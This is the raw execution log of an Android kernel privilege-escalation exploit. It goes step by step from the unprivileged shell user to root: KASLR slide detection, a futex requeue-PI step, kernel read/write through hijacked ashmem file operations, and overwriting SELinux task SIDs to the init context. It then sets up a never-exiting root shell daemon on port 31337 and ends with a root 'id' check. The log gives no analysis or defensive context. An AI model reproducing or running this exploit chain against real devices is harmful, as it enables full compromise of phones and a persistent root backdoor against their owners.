[S0-ID] uid=2000 euid=2000 gid=2000 CapEff=0x0 CapPrm=0x0 Seccomp=0 NoNewPrivs=0
[S0-ENV] uname=5.4.86-qgki-g33a9ed8573e1
[S0-ENV] getenforce=1 domain=u:r:shell:s0 boot_id=19831966-28f0-4e7a-b177-25b40f829564
[S0-ENV] uptime=45.69
[S0-ZONE] start_pfn=525824 spanned=2095616 MemTotal=7526044 kB => memstart=0x80000000 vmemmap=0xfffffffefde00000 physvirt_offset=0x8080000000 (I49 formula)
[S0-SID] D=9 entries0=1851
[SID] XEC entries 1851->1852 delta=1 ctx='u:r:init:s0:c999' readback='u:r:init:s0:c999' match=1
[S0-SID] init_sid=1870 (formula (entries0-D)+28, fresh=1)
[SID] XEC entries 1852->1853 delta=1 ctx='u:r:shell:s0:c999' readback='u:r:shell:s0:c999' match=1
[S0-SID] shell_sid=1871 (formula (entries0-D)+28, fresh=1)
[S0-ASH] OPEN(/dev/ashmem19831966-28f0-4e7a-b177-25b40f829564) fd=3 errno=0
[S0-ASH] SET_NAME rc=0 errno=0
[S0-ASH] GET_NAME rc=0 errno=0 back='P1MARK-00001ec4-0000b284' match=1
[S0-ASH] SET_NAME(blob) rc=0 errno=0
[S0-ASH] PRECONDITION OK
[S0-F] warm_iters=5028520 kern=227184 user=91636 records=150000
[S0-SLIDE] d=0x190 samples=28163 candidates=2 best=0x2bc3a00000 votes=27395 second=135
[S0-SLIDE] SLIDE=0x2bc3a00000 runtime_text=0xffffffebd3a80000 runtime_etext=0xffffffebd5240000
[S0-SLIDE] kernel IPs in [_text,_etext)=150000/150000
[S0-F] F_i=0xffffffc02eb5bcd0 F_ii=0xffffffc02eb5bcd0 match=1 F&0x3fff=0x3cd0 (want 0x3cd0) Hf=0xffffffc02eb5c000 dest=0xffffffc02eb5bcb0 delta=0x0
[H2] REGION P: base=0xffffff80e128ac40 table=V=0xffffff80e128ac50 M=0xffffff80e128ad50 (V==base+0x10, M==base+0x110)
[PF] T=0xffffffebd64ae588 (T-8=0xffffffebd64ae580) V=0xffffff80e128ac50 M=0xffffff80e128ad50 | F=0xffffffc02eb5bcd0 = dest+0x20 = Hf-0x330 ; T&7=0
[RQ] CMP_REQUEUE_PI rc=-1 errno=35 tries=1 (EDEADLK=35)
[VGATE] overwritten=1 bpf_errno=-13
[TR1] sched_setattr(w=7882,nice=1)=0 errno=0 walk_ms=0 T=0xffffffebd64ae588 V=0xffffff80e128ac50
[SELF-W1] M.rb_root=0xffffffc02eb5bcd0 M.leftmost=0xffffffc02eb5bcd0 M.owner=0x0 | chain_ran=1 F_is_Wstack_3cd0=1 M_mod_0x4000=0x3cd0
[5d] OWNER REPAIR (second NT_PRFPREG write, before the first open) *(V+0x00)=0x0 (want 0)
[7B] KREAD *(V+0x10)=0xffffffebd522ae6c (==read_jt: 1) *(V+0x18)=0xffffffebd522b88c (==write_jt: 1)
[E0] TSECW tsec=0xffffff80c466df40 off=0xf44 sid=1870 n=4 (chain-owned pipe write)
[E0] TSECW SKIPPED (sid=1870 tsec=0xffffff80b392d980)
[E0] TSECW tsec=0xffffff80b3bf99c0 off=0x9c4 sid=1871 n=4 (chain-owned pipe write)
[E0] TSECW tsec=0xffffff80f74f3940 off=0x944 sid=1870 n=4 (chain-owned pipe write)
[P1C-DAEMON] RESIDENT anchor_pt=/dev/pts/0 anchor_fd=3 window_pipe=held_by_parent listening=127.0.0.1:31337 uid=0 pid=7880
[P1C-DAEMON] each connection forks a session child with its OWN pty+shell; this process never exits
[VREP0] role=POS(init: mount/ACC) site_sid=1870 uid=0 gid=0 euid=0 egid=0 cap_eff=ffffffffffffffff cap_prm=ffffffffffffffff mount=0 errno=0 mount_tried=1
[VREP1] role=NEG1(cred only) site_sid=1870 uid=0 gid=0 euid=0 egid=0 cap_eff=ffffffffffffffff cap_prm=ffffffffffffffff mount=-1 errno=13 mount_tried=3
[VREP2] role=NEG2(page-aligned) site_sid=1870 uid=2000 gid=2000 euid=2000 egid=2000 cap_eff=0000000000000000 cap_prm=0000000000000000 mount=-1 errno=13 mount_tried=3
[VREP3] role=POS(shell: console) site_sid=1870 uid=0 gid=0 euid=0 egid=0 cap_eff=ffffffffffffffff cap_prm=ffffffffffffffff mount=-1 errno=0 mount_tried=0
[VREP4] role=(null) site_sid=1870 uid=0 gid=0 euid=0 egid=0 cap_eff=ffffffffffffffff cap_prm=ffffffffffffffff mount=-1 errno=0 mount_tried=0
[CRIT] pos_uid0=1 pos_gid0=1 pos_caps=1 pos_mount0=1 neg1_mount=-1 neg2_uid=2000 init_sid=1870 count_win=1848 sid_written=1 page_ctl=0
[END] *(T) restored to 0xffffffebd5cba298 (== ashmem_fops+slide: 1)
[T] round segment = 24680 ms
--- end summary ---
[shell] id
id
:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0:c999
:/data/local/tmp #